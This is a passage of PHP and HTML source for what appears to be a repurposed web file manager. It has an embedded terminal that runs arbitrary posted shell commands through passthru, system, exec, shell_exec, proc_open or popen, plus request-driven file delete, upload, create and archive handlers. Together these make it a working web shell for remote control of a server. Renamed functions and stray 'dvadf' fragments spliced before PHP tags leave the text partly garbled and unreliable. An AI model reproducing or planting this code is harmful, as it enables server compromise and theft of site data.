		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
